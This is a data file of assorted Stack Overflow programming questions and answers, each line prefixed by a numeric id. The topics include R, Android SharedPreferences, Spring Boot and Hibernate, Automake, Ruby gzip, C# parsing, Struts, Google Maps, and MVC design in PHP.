21667322	0	 <p><code>tapply</code> and <code>transform</code>?</p> <pre><code>&gt; transform(df, volumen=unlist(tapply(cumVol, farm, function(x) c(0, diff(x))))) period farm cumVol other volumen A1 1 A 1 1 0 A2 2 A 5 2 4 A3 3 A 15 3 10 A4 4 A 31 4 16 B1 1 B 10 5 0 B2 2 B 12 6 2 B3 3 B 16 7 4 B4 4 B 24 8 8 </code></pre> <p><code>ave</code> is a better option, see @ thelatemail's comment</p> <pre><code>with(df, ave(cumVol,farm,FUN=function(x) c(0,diff(x))) ) </code></pre>
12623852	0	Drupal 7 date/text field issue <p>I have a content type in Drupal that is a text field that holds a date that the user types in. No, its not an actual date field unfortunately (ugghhh). What I need to do is make a view that has an exposed field that can pull content that is between 2 dates. For example I want to get all of the nodes who's date field is between 2012-09-01 and 2012-09-30. </p> <p>I'm guessing I could convert these fields using a computed field with <code>strtotime()</code>. But the problem I would run into is not being able to filter between 2 times (basically 2 strings of numbers) in an exposed filter. Is there a way to do that?</p>
40479961	0	 <p>Here is the code for Swift3:</p> <pre><code>func mapView(_ mapView: GMSMapView, markerInfoWindow marker: GMSMarker) -&gt; UIView? { let infoWindow = Bundle.main.loadNibNamed("InfoWindow", owner: self, options: nil)?.first as! CustomInfoWindow infoWindow.name.text = ""Sydney Opera House" infoWindow.address.text = "Bennelong Point Sydney" infoWindow.photo.image = UIImage(named: "SydneyOperaHouseAtNight") return infoWindow } </code></pre>
31393249	0	 <p>You can create custom commands for that: <a href="http://nightwatchjs.org/guide#writing-custom-commands">http://nightwatchjs.org/guide#writing-custom-commands</a></p> <ol> <li>in nightwatch.json specify the path to the folder that will contain your custom command file</li> <li>create a js file and name it how your custom command should be names (ie login.js)</li> <li>write the code you need:</li> </ol> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>exports.command = function(username, password) { this .waitForElementVisible('#password', 4000) .setValue('#password', password) .waitForElementVisible('#username', 1000) .setValue('#username', username) .waitForElementVisible('#sign_in', 1000) .click('#sign_in') .waitForElementVisible('h1.folder-title', 10000) return this; };</code></pre> </div> </div> </p> <ol start="4"> <li>use the custom command in your test:</li> </ol> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>.login("your_username", "your_password")</code></pre> </div> </div> </p>
38067446	0	 <p><code>Enumerable#group_by</code> is a useful tool, but in this case it's not the best one.</p> <p>If we start with a Hash whose default value is <code>[0, 0]</code> we can do (almost) everything—look up the month (or get the default value of it's a new month) and add 1 to the appropriate index (<code>0</code> for false and <code>1</code> for true)—in a single step:</p> <pre><code>array = [["June", false], ["June", false], ["June", false], ["October", false]] hsh = Hash.new {|h,k| h[k] = [0,0] } array.each {|mo, bool| hsh[mo][bool ? 1 : 0] += 1 } p hsh.map(&amp;:flatten) # =&gt; [["June", 3, 0], ["October", 1, 0]] </code></pre>
29603764	0	using shared peferences to save colors <p>I have an app that uses a color picking dialog to change the app background color, and the text color. The color picker works fine, but when the app closes for any reason it reverts back to default. </p> <p>I have checked: <a href="http://developer.android.com/guide/topics/data/data-storage.html#pref" rel="nofollow">http://developer.android.com/guide/topics/data/data-storage.html#pref</a> and <a href="http://stackoverflow.com/questions/23024831/android-shared-preferences-example">Android Shared preferences example</a></p> <p>the below code is the result of my research. The problem I'm having is all my text fields start off without text color, when i use the color dialog the colors change just fine, but are not saved. </p> <p>Any pointers on where I'm going wrong would be greatly appreciated.</p> <pre><code>public class TipCalculator extends ActionBarActivity implements ColorPickerDialog.OnColorChangedListener { //UI element objects to be manipulated. TextView tipper; TextView diner; /*few TextView items left out to save space*/ int color; RelativeLayout RLayout; private SharedPreferences preferences; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_tip_calculator); preferences = getSharedPreferences("TipCalculator", MODE_PRIVATE); //color = preferences.getInt("TipCalculator", color); did not change anything color = preferences.getInt("bg_color", color); RLayout = (RelativeLayout) findViewById(R.id.RLayout);//layout object for background color manipulation bill = (EditText) findViewById(R.id.bill_amount_text);//UI elements placed in objects for text color manipulation billNtip = (TextView) findViewById(R.id.bill_tip_text); /*few TextView items left out to save space*/ bill.setSelection(bill.getText().length()); bill.addTextChangedListener(billWatcher); } @Override public void onPause(){// onStop does not seem to change how the app currently runs super.onPause(); /*preferences = getSharedPreferences("TipCalculator", MODE_PRIVATE); SharedPreferences.Editor editor = preferences.edit(); does not work*/ SharedPreferences.Editor editor = getSharedPreferences("TipCalculator", MODE_PRIVATE).edit(); //editor.putInt("TipCalculator", color); does not change anything editor.putInt("bg_color", color); editor.commit(); tipper.setTextColor(color); bill.setTextColor(color); /*few TextView items left out to save space*/ } @Override public void colorChanged(String key, int color) { color = newColor; if (decide.equals("font")) { tipper.setTextColor(color); bill.setTextColor(color); /*few TextView items left out to save space*/ } else if (decide.equals("background")) { RLayout.setBackgroundColor(color); } } </code></pre>
39483265	0	Mapping Error in Hibernate <p>I have prepared an application in Spring Boot</p> <p>I have implemented oneToOne mapping in hibernate between two tables :</p> <p>person and PersonDetail.</p> <p>Now, when I run the program, I get the <strong>following error</strong> :</p> <p>Neither binding result, nor model object available for 'person'.</p> <p>The error is in personform.html , on the fields address and age.</p> <p>//////////////////////////////Controller///////////////////////////////</p> <pre><code>package com.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import com.model.Person; //import com.model.PersonDetail; import com.service.PersonService; @Controller public class PersonController { Person person = new Person(); private PersonService personService; @Autowired public void setPersonService(PersonService personService) { this.personService = personService; } @RequestMapping(value = "/persons", method = RequestMethod.GET) public String list(Model model){ model.addAttribute("persons", personService.listAllPersons()); System.out.println("Returning Persons"); return "persons"; } @RequestMapping("person/{id}") public String showPerson(@PathVariable Integer id, Model model){ model.addAttribute("person", personService.getPersonById(id)); return "personshow"; } @RequestMapping("person/edit/{id}") public String edit(@PathVariable Integer id, Model model){ model.addAttribute("person", personService.getPersonById(id)); return "personform"; } @RequestMapping("person/new") public String newPerson(Model model){ model.addAttribute("person", new Person()); return "personform"; } @RequestMapping(value = "person", method = RequestMethod.POST) public String savePerson(Person person){ personService.savePerson(person); return "redirect:/persons/"; } @RequestMapping("person/delete/{id}") public String delete(@PathVariable Integer id){ personService.deletePerson(id); /*return "redirect:/products";*/ //return "persons"; return "redirect:/persons/"; } } </code></pre> <p>////////////////////////Person-Model///////////////////////////////</p> <pre><code>package com.model; import javax.persistence.CascadeType; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.GenerationType; import javax.persistence.Id; import javax.persistence.OneToOne; @Entity //@Table(name = "person") public class Person{ @Id @GeneratedValue(strategy = GenerationType.AUTO) @Column(name = "id",unique=true,nullable=false) private Integer id; @Column(name = "name", unique = true, nullable = false, length = 10) private String name; @OneToOne(cascade= CascadeType.ALL) private PersonDetail personDetail; /* public Person(){} public Person(Integer id,String name) { this.id=id; this.name=name; }*/ public Integer getId() { return this.id; } public void setId(Integer id) { this.id = id; } public String getName() { return this.name; } public void setName(String name) { this.name = name; } public PersonDetail getPersonDetail() { return personDetail; } public void setPersonDetail(PersonDetail personDetail) { this.personDetail = personDetail; } } </code></pre> <p>////////////////////////////PersonDetail-Model//////////////////////</p> <pre><code>package com.model; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.GenerationType; import javax.persistence.Id; import javax.persistence.OneToOne; import javax.persistence.PrimaryKeyJoinColumn; @Entity public class PersonDetail{ @Id @GeneratedValue(strategy=GenerationType.AUTO) private Integer id; @Column(name = "address", nullable = false, length = 20) private String address; @Column(name = "age", nullable = false,length=10) private Integer age; @OneToOne @PrimaryKeyJoinColumn private Person person; /* public PersonDetail() { } public PersonDetail(Integer id,String address,Integer age) { this.id=id; this.address=address; this.age=age; }*/ public Integer getId() { return this.id; } public void setId(Integer id) { this.id = id; } public String getAddress() { return this.address; } public void setAddress(String address) { this.address = address; } public Integer getAge() { return this.age; } public void setAge(Integer age) { this.age = age; } public Person getPerson() { return person; } public void setPerson(Person person) { this.person = person; } } </code></pre> <p>/////////////////////////////PersonRepository//////////////////////</p> <pre><code>package com.repository; import javax.transaction.Transactional; import org.springframework.data.repository.CrudRepository; import org.springframework.stereotype.Repository; import com.model.Person; @Repository @Transactional public interface PersonRepository extends CrudRepository&lt;Person, Integer&gt;{ } </code></pre> <p>//////////////////////PersonDetailReppository/////////////////////</p> <pre><code>package com.repository; import javax.transaction.Transactional; import org.springframework.data.repository.CrudRepository; import org.springframework.stereotype.Repository; import com.model.PersonDetail; @Repository @Transactional public interface PersonDetailRepository extends CrudRepository&lt;PersonDetail, Integer&gt;{ } </code></pre> <p>/////////////////////////////////index.html/////////////////////</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html xmlns:th="http://www.thymeleaf.org"&gt; &lt;head lang="en"&gt; &lt;title&gt;Spring Boot Example&lt;/title&gt; &lt;!-- &lt;th:block th:include="fragments/headerinc :: head"&gt;&lt;/th:block&gt; --&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="container"&gt; &lt;div th:fragment="header"&gt; &lt;nav class="navbar navbar-default"&gt; &lt;div class="container-fluid"&gt; &lt;div class="navbar-header"&gt; &lt;a class="navbar-brand" href="#" th:href="@{/}"&gt;Home&lt;/a&gt; &lt;ul class="nav navbar-nav"&gt; &lt;li&gt;&lt;a href="#" th:href="@{/persons}"&gt;Persons&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#" th:href="@{/person/new}"&gt;Create Person&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt;&lt;/nav&gt;&lt;/div&gt; &lt;!-- &lt;div class="container"&gt; --&gt; &lt;!-- &lt;th:block th:include="fragments/header :: header"&gt;&lt;/th:block&gt; --&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>/////////////////////////persons////////////////////////////</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html xmlns:th="http://www.thymeleaf.org"&gt; &lt;head lang="en"&gt; &lt;title&gt;Persons&lt;/title&gt; &lt;th:block th:include="fragments/headerinc :: head"&gt;&lt;/th:block&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="container"&gt; &lt;!-- &lt;th:block th:include="fragments/header :: header"&gt;&lt;/th:block&gt; /*/ --&gt; &lt;div th:if="${not #lists.isEmpty(persons)}"&gt; &lt;h2&gt;Person List&lt;/h2&gt; &lt;table class="table table-striped"&gt; &lt;tr&gt; &lt;th&gt;Id&lt;/th&gt; &lt;th&gt;Person Id&lt;/th&gt; &lt;th&gt;Name&lt;/th&gt; &lt;th&gt;Address&lt;/th&gt; &lt;th&gt;Age&lt;/th&gt; &lt;th&gt;View&lt;/th&gt; &lt;th&gt;Edit&lt;/th&gt; &lt;th&gt;Delete&lt;/th&gt; &lt;/tr&gt; &lt;tr th:each="person : ${persons}"&gt; &lt;td th:text="${person.id}"&gt;&lt;a href="/person/${person.id}"&gt;Id&lt;/a&gt;&lt;/td&gt; &lt;td th:text="${person.id}"&gt;Person Id&lt;/td&gt; &lt;td th:text="${person.name}"&gt;Name&lt;/td&gt; &lt;td th:text="${person.personDetail.address}"&gt;Address&lt;/td&gt; &lt;td th:text="${person.personDetail.age}"&gt;Age&lt;/td&gt; &lt;td&gt;&lt;a th:href="${ '/person/' + person.id}"&gt;View&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a th:href="${'/person/edit/' + person.id}"&gt;Edit&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a th:href="${'/person/delete/' + person.id}"&gt;Delete&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>////////////////////////////////////personform/////////////////////</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html xmlns:th="http://www.thymeleaf.org"&gt; &lt;head lang="en"&gt; &lt;title&gt;Spring Boot Example&lt;/title&gt; &lt;th:block th:include="fragments/headerinc :: head"&gt;&lt;/th:block&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="container"&gt; &lt;th:block th:include="fragments/header :: header"&gt;&lt;/th:block&gt; &lt;h2&gt;Person Details&lt;/h2&gt; &lt;div&gt; &lt;!-- th:object="${person}" --&gt; &lt;form class="form-horizontal" th:action="@{/person}" method="post"&gt; &lt;input type="hidden" th:field="*{person.id}"/&gt; &lt;!-- &lt;div class="form-group"&gt; &lt;label class="col-sm-2 control-label"&gt;Person Id:&lt;/label&gt; &lt;div class="col-sm-10"&gt; &lt;input type="text" class="form-control" th:field="*{id}"/&gt; &lt;/div&gt; &lt;/div&gt; --&gt; &lt;div class="form-group"&gt; &lt;label class="col-sm-2 control-label"&gt;Name:&lt;/label&gt; &lt;div class="col-sm-10"&gt; &lt;input type="text" class="form-control" th:field="*{person.name}"/&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label class="col-sm-2 control-label"&gt;Address:&lt;/label&gt; &lt;div class="col-sm-10"&gt; &lt;input type="text" class="form-control" th:field="*{person.address}"/&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label class="col-sm-2 control-label"&gt;Age:&lt;/label&gt; &lt;div class="col-sm-10"&gt; &lt;input type="text" class="form-control" th:field="*{person.age}"/&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="row"&gt; &lt;button type="submit" class="btn btn-default"&gt;Submit&lt;/button&gt; &lt;/div&gt; &lt;/form&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>///////////////////////////////////personshow///////////////////////</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html xmlns:th="http://www.thymeleaf.org"&gt; &lt;head lang="en"&gt; &lt;title&gt;Person Details&lt;/title&gt; &lt;th:block th:include="fragments/headerinc :: head"&gt;&lt;/th:block&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="container"&gt; &lt;!--/*/ &lt;th:block th:include="fragments/header :: header"&gt;&lt;/th:block&gt; /*/--&gt; &lt;h2&gt;Person Details&lt;/h2&gt; &lt;div&gt; &lt;form class="form-horizontal" th:action="@{/person}" th:object="${person}" method="get"&gt; &lt;div class="form-group"&gt; &lt;label class="col-sm-2 control-label"&gt;Person Id:&lt;/label&gt; &lt;div class="col-sm-10"&gt; &lt;p class="form-control-static" th:text="${id}"&gt;Person Id&lt;/p&gt;&lt;/div&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label class="col-sm-2 control-label"&gt;Name:&lt;/label&gt; &lt;div class="col-sm-10"&gt; &lt;p class="form-control-static" th:text="${person.name}"&gt;name&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label class="col-sm-2 control-label"&gt;Address:&lt;/label&gt; &lt;div class="col-sm-10"&gt; &lt;p class="form-control-static" th:text="${person.personDetail.address}"&gt;address&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label class="col-sm-2 control-label"&gt;Age:&lt;/label&gt; &lt;div class="col-sm-10"&gt; &lt;p class="form-control-static" th:text="${person.personDetail.age}"&gt;age&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/form&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
28148524	0	Object directory in Makefile.am <p>My current Makefile.am looks something like this:</p> <pre><code>bin_PROGRAMS = MyProgram AM_CPPFLAGS = -I../shared MyProgram_SOURCES = main.cpp Source1.cpp ../shared/Source2.cpp clean : clean-am rm -f *~ rm -f DEADJOE distclean: distclean-am rm -f *~ rm -f DEADJOE rm -f Makefile rm -f *log </code></pre> <p>This creates all the .o files in the current directory. How can I specify a different object directory in a Makefile.am? I failed to find this in the GNU documentation, although I am sure it must be there somewhere.</p>
5230607	0	 <p><code>translate_address</code> is not a Linux function. If you're referring to some kind of book or example code, it should explain where you're supposed to get this function from. If it doesn't, chances are it's not meant for Linux (or is a really, really bad reference/example).</p> <p>Furthermore, you should NOT modify the contents of <code>jmp_buf</code> or <code>sigjmp_buf</code> directly. These are architecture and platform-dependent structures, and only the C library is allowed to mess with them. Since the contents of the structures are OS-dependent, if you're using a reference intended for some other OS when modifying <code>sigjmp_buf</code>, Bad Things will happen.</p> <p>You should instead either use <a href="http://linux.die.net/man/2/setcontext" rel="nofollow"><code>setcontext</code>, <code>getcontext</code></a>, and <a href="http://linux.die.net/man/3/makecontext" rel="nofollow"><code>makecontext</code></a> for user threads (fibers) or <a href="http://www.kernel.org/doc/man-pages/online/pages/man3/pthread_create.3.html" rel="nofollow"><code>pthread_create</code></a> for OS-level threads.</p>
25905051	0	 <p>Assuming that all processing methods have no return value, one possible way is by creating a method that accept <a href="http://msdn.microsoft.com/en-us/library/system.action%28v=vs.110%29.aspx?cs-save-lang=1&amp;cs-lang=csharp#code-snippet-1" rel="nofollow"><code>Action Delegate</code></a> parameter. This method is responsible for setting <code>Processing</code> property and invoking the <code>Action</code> passed as the method parameter :</p> <pre><code>public bool Processing { get; set; } private void Process(Action process) { Processing = true; process(); Processing = false; } public void Load() { //Logic to load the data } public void Save() { //Logic to save the data } </code></pre> <p>Example usage :</p> <pre><code>//pass 'Load' method as parameter to load data : Process(Load); //pass 'Save' method as parameter to save data : Process(Save); </code></pre> <p>Though, I haven't verified my self whether <code>Action</code> delegate is supported in WP 8.1 universal apps, so it will be great to hear from you.</p>
25891972	1	Solve a ODE for arrays of parameters (Python) <p>*I am aware that this question is quite simple but I would like to know the best way to set up such a for loop in Python. </p> <p>I have written a program already to calculate and plot the solution to a 2nd order differential equation (this code is given below). </p> <p>I would like to know best methods for repeating this calculation for an array of f parameters (hence <code>f_array</code>). I.e. so that the plot shows <code>20</code> sets of data referring to solutions as a function of <code>t</code> each with a different value of <code>f</code>.</p> <p>Cheers for any ideas.</p> <pre><code>from pylab import * from scipy.integrate import odeint #Arrays. tmax = 100 t = linspace(0, tmax, 4000) fmax = 100 f_array = linspace(0.0, fmax, 20) #Parameters l = 2.5 w0 = 0.75 f = 5.0 gamma = w0 + 0.05 m = 1.0 alpha = 0.15 beta = 2.5 def rhs(c,t): c0dot = c[1] c1dot = -2*l*c[1] - w0*w0*c[0] + (f/m)*cos((gamma)*t)-alpha*c[0] - beta*c[0]*c[0]*c[0] return [c0dot, c1dot] init_x = 15.0 init_v = 0.0 init_cond = [init_x,init_v] ces = odeint(rhs, init_cond, t) s_no = 1 subplot(s_no,1,1) xlabel("Time, t") ylabel("Position, x") grid('on') plot(t,ces[:,0],'-b') title("Position x vs. time t for a Duffing oscillator.") show() </code></pre> <p>Here is a plot showing the solution to this equation regarding a single value of <code>f</code> for an array of <code>t</code> values. I would like a quick way to repeat this plot for an array of <code>f</code> values.</p> <p><img src="https://i.stack.imgur.com/evGl5.png" alt="http://i61.tinypic.com/28bgyzs.png"></p>
12807015	0	What RegEx would delimit a list which was copied and pasted from a web page? <p>I have a form which accepts a list of keywords. I then convert the list into an array using <code>mb_split</code> in PHP for entry into the database. However, I'm unable to find a RegEx that delimits the list successfully. Users will typically be pasting data that was copied from a list on a web page. Here's what I'm trying:</p> <pre><code>mb_split('/\s+/', $keywords) </code></pre> <p>And here's the result in the database:</p> <pre><code>keyword1¶keyword2¶keyword3 </code></pre> <p>I would have thought that the ¶ character would have been considered whitespace covered by <code>\s+</code>. I tried handling the ¶ character specifically, but it didn't work:</p> <pre><code>mb_split('/\s+\u00B6/', $keywords) </code></pre> <p>So what RegEx <em>would</em> work here?</p> <p><strong>SOLUTION</strong></p> <p>I ended up using this:</p> <pre><code>mb_split('\n|\r|¶', $keywords) </code></pre> <p>I needed to add the <code>|</code> (logical OR) and actually paste the ¶ symbol into the regex. I also switched to using <code>\n</code> and <code>\r</code> instead of <code>\s</code> to avoid losing multi-word entries which involve spaces.</p>
15779017	0	flip in pages in Wpf with add pages dynamically <p>I want to create application in which I want to give flip effect to each pages, I mean I want my application work and look like book. also I want to add pages dynamically when ever I want to add pages to application. suppose, I have 20 pages in application, now from admin panel want to add some pages to application,so that added pages also show in flip effect. <br>Is this possible?</p>
11699705	0	 <p>To use it like regular HTML, you got to think in regular HTML!</p> <p><strong>Lets take your case as example :</strong></p> <pre><code>&lt;ui:style&gt; .redborder { border: 1px solid red; } ... &lt;/ui:style&gt; ... &lt;div class="{style.redborder}"&gt; &lt;!--Notice I used class instead of styleName--&gt; &lt;g:Label&gt;Hello,&lt;/g:Label&gt; &lt;g:Button ui:field="button" /&gt; &lt;/div&gt; .... </code></pre> <p>So just use "class" attribute instead of "styleName".</p>
4143703	0	 <p>I had the same problem with Greek input, this <a href="http://bugs.launchpad.net/ipython/+bug/339642" rel="nofollow">patch from launchpad</a> works for me too.</p> <p>Thanks.</p>
25443975	0	 <p>In the <code>noscript</code> section you could load a resource from your server. If the a visitor loads the resource, you know that he has JavaScript disabled.</p>
16020661	0	 <p>I think that might have something to do that you haven't properly closed the files. I took the liberty to rewrite your code, without the chmod stuff (which I don't think is necessary)</p> <pre><code>filename = &lt;your sourcefilename goes here&gt; filename_gz = filename + ".gz" filepath = Rails.root + filename filepath_gz = Rails.root + filename_gz # gzip the file buffer = "" File.open(filepath) do |file| Zlib::GzipWriter.open(filepath_gz) do |gz| while file.read(4096, buffer) gz &lt;&lt; buffer end end end # moves the filepath_gz to filepath (overwriting the original file in the process!) FileUtils.mv(filepath_gz, filepath) </code></pre> <p>As you can see I've used File.open(path) and passed a block. This has the effect that the files will be closed automatically when the block exits. I've also changed the delete/rename code to simply move the gziped file to the original path, which has the same effect.</p> <p>However, I strongly advice you to keep a backup of your original file.</p>
16060372	0	Rest web services - Synchronous or asynchrous <p>I have one doubt in my mind, What is the default behavior of REST web services-Synchronous or asynchronous. If synchronous then can we create asynchronous. </p>
15079736	0	 <p>Example of a console application example/tutorial:</p> <pre><code>enum DurationType { [DisplayName("m")] Min = 1, [DisplayName("h")] Hours = 1 * 60, [DisplayName("d")] Days = 1 * 60 * 24 } internal class Program { private static void Main(string[] args) { string input1 = "10h"; string input2 = "1d10h3m"; var x = GetOffsetFromDate(DateTime.Now, input1); var y = GetOffsetFromDate(DateTime.Now, input2); } private static Dictionary&lt;string, DurationType&gt; suffixDictionary { get { return Enum .GetValues(typeof (DurationType)) .Cast&lt;DurationType&gt;() .ToDictionary(duration =&gt; duration.GetDisplayName(), duration =&gt; duration); } } public static DateTime GetOffsetFromDate(DateTime date, string input) { MatchCollection matches = Regex.Matches(input, @"(\d+)([a-zA-Z]+)"); foreach (Match match in matches) { int numberPart = Int32.Parse(match.Groups[1].Value); string suffix = match.Groups[2].Value; date = date.AddMinutes((int)suffixDictionary[suffix]); } return date; } } [AttributeUsage(AttributeTargets.Field)] public class DisplayNameAttribute : Attribute { public DisplayNameAttribute(String name) { this.name = name; } protected String name; public String Name { get { return this.name; } } } public static class ExtensionClass { public static string GetDisplayName&lt;TValue&gt;(this TValue value) where TValue : struct, IConvertible { FieldInfo fi = typeof(TValue).GetField(value.ToString()); DisplayNameAttribute attribute = (DisplayNameAttribute)fi.GetCustomAttributes(typeof(DisplayNameAttribute), false).FirstOrDefault(); if (attribute != null) return attribute.Name; return value.ToString(); } } </code></pre> <p>Uses an attribute to define your suffix, uses the enum value to define your offset.</p> <p>Requires:</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using System.Text.RegularExpressions; </code></pre> <p>It may be considered a hack to use the enum integer value but this example will still let you parse out all the Enums (for any other use like switch case) with little tweaks.</p>
19845769	0	Smarty variable in array index <p>Have months array <code>$months('January', 'February', 'May')</code></p> <p>and want show this month in loop </p> <pre><code>{for $foo=1 to 3} {$months[$foo]} {/for} </code></pre> <p>I get white page, what is wrong with my code ?</p>
40697589	0	 <p>Which padding and margin do you want remove?</p>
30961517	0	Can struts.xml and struts annotation be used at the same time <p>I am using two action classes in my application, i am using annotation in one action class and i want to use struts.xml for the other action class. Is it possible. When i am using annotation, this is working</p> <pre><code>@Namespace("/") @ResultPath("/") public class StartQuizAction extends ActionSupport { private static final long serialVersionUID = 953099491763814636L; private List qlist; public List getQlist() { return qlist; } public void setQlist(List qlist) { this.qlist = qlist; } public static long getSerialversionuid() { return serialVersionUID; } @Action(value="startQuiz" ,results={@Result(name="success" , location="User/pages/qData.jsp") }) public String execute(){ System.out.println("in 2nd action"); QuizDataInput qData= new QuizDataInput(); qlist=qData.getData(); System.out.println(qlist); return SUCCESS; } } </code></pre> <p>But when i use struts.xml, removing annotations, i am getting this error</p> <blockquote> <p>There is no Action mapped for namespace [/] and action name [] associated with context path [/quizcreator]. - [unknown location]</p> </blockquote> <p>Struts.xml</p> <pre><code>&lt;struts&gt; &lt;package name="default" namespace="/" extends="struts-default"&gt; &lt;action name="startQuiz" class="com.agc.onlinequiz.action.StartQuizAction"&gt; &lt;result name="success"&gt;User/pages/qData.jsp&lt;/result&gt; &lt;/action&gt; &lt;/package&gt; &lt;/struts&gt; </code></pre>
22104734	0	Android Google Maps, how to create navigation between 2 points <p>I want to create a Map activity (FragmentActivity) that displays a Google Map and shows navigation between 2 points.</p> <p>I have one made that shows one location but I've no idea on how to create navigation to another point, every link I saw gives their web api as the solution (<a href="https://maps.google.com/maps?saddr=X,Y&amp;daddr=X,Y" rel="nofollow">https://maps.google.com/maps?saddr=X,Y&amp;daddr=X,Y</a>)</p> <p>and I want to do exactly what it does just programmatically through the activity and not just link into their webpage</p> <p>my code so far:</p> <pre><code>try{ bndl = getIntent().getExtras(); COORDS = new LatLng(bndl.getDouble("lat"), bndl.getDouble("long")); if (map == null) { map = ((SupportMapFragment) getSupportFragmentManager().findFragmentById(R.id.map)).getMap(); if (map != null) { map.setMapType(GoogleMap.MAP_TYPE_HYBRID); map.addMarker(new MarkerOptions().position(COORDS).title("Your parking spot!")); CameraPosition cameraPosition = new CameraPosition.Builder() .target(COORDS) .zoom(20) .bearing(90) .tilt(0) .build(); map.animateCamera(CameraUpdateFactory.newCameraPosition(cameraPosition)); } } } catch (Exception e){ Log.v("except", ""+e); } </code></pre> <p>now this only shows the one location (as it should do) but how to create another marker or something to navitage to? Is there a way to do this or do I HAVE to use their web api?</p>
38129823	0	Remove an association between two models <p>I have the following associations:</p> <pre><code>class a &lt; ActiveRecord::Base has_many :bs class b &lt; ActiveRecord::Base belongs_to :a </code></pre> <p>How do I now remove this association? I believe it requires a migration. What should this migration do?</p>
20153175	0	 <p>These are 2 separate informations.</p> <pre><code>[[UIDevice currentDevice] name] // e.g. Raymonds iPhone </code></pre> <p>What you want is the following:</p> <pre><code>[[UIDevice currentDevice] model] // e.g. iPhone, iPod touch, iPad, iOS Simulator // or [[UIDevice currentDevice] localizedModel], e.g. Le iPod (j/k) </code></pre> <p>And for the device capacity, which there may be better examples, but this returns the space that is reported by the system:</p> <pre><code>- (NSString*)deviceCapacity { NSDictionary *attributesDict = [[NSFileManager defaultManager] attributesOfFileSystemForPath:NSTemporaryDirectory() error:NULL]; NSNumber *totalSize = [attributesDict objectForKey:NSFileSystemSize]; return [NSString stringWithFormat:@"%3.2f GB",[totalSize floatValue] /(1000*1000*1000)]; } </code></pre> <p><em>Note that the above example may return "14.37 GB" for a 16GB device (where 14.37 is the number the iOS reports, presumably the space after iOS is installed. So you can look at it as the <strong>user</strong> partition excluding the <strong>root</strong> partition.</em></p> <p>So to put it all together, use this:</p> <pre><code>[NSString stringWithFormat:@"%@ %@", [[UIDevice currentDevice] model], [self deviceCapacity]]; </code></pre>
16275131	0	 <blockquote> <p>Am I missing something? How can I achieve the same thing in CodeIgniter?</p> <blockquote> <p><sub>if you want to learn how to truly approach MVC in PHP, you can learn it from Tom Butler <a href="http://r.je" rel="nofollow">articles</a></sub></p> </blockquote> </blockquote> <p>CodeIgniter implements Model-View-Presenter pattern, not MVC (even if it says so). If you want to implement a truly MVC-like application, you're on the wrong track.</p> <p>In MVP:</p> <ul> <li>View can be a class or a html template. View should never be aware of a Model.</li> <li>View should never contain business logic</li> <li>A Presenter is just a glue between a View and the Model. Its also responsible for generating output.</li> </ul> <blockquote> <blockquote> <p>Note: A model should never be <em>singular class</em>. Its a number of classes. I'll call it as "Model" just for demonstration.</p> </blockquote> </blockquote> <p>So it looks like as:</p> <pre><code>class Presenter { public function __construct(Model $model, View $view) { $this-&gt;model = $model; $this-&gt;view = $view; } public function indexAction() { $data = $this-&gt;model-&gt;fetchSomeData(); $this-&gt;view-&gt;setSomeData($data); echo $this-&gt;view-&gt;render(); } } </code></pre> <p>In MVC:</p> <ul> <li>Views are not HTML templates, but classes which are responsible for presentation logic</li> <li>A View has direct access to a Model</li> <li>A Controller should not generate a response, but change model variables (i.e assign vars from <code>$_GET</code> or <code>$_POST</code></li> <li>A controller should not be aware of a view</li> </ul> <p>For example,</p> <pre><code>class View { public function __construct(Model $model) { $this-&gt;model = $model; } public function render() { ob_start(); $vars = $this-&gt;model-&gt;fetchSomeStuff(); extract($vars); require('/template.phtml'); return ob_get_clean(); } } class Controller { public function __construct(Model $model) { $this-&gt;model = $model; } public function indexAction() { $this-&gt;model-&gt;setVars($_POST); // or something like that } } $model = new Model(); $view = new View($model); $controller = new Controller($model); $controller-&gt;indexAction(); echo $view-&gt;render(); </code></pre>
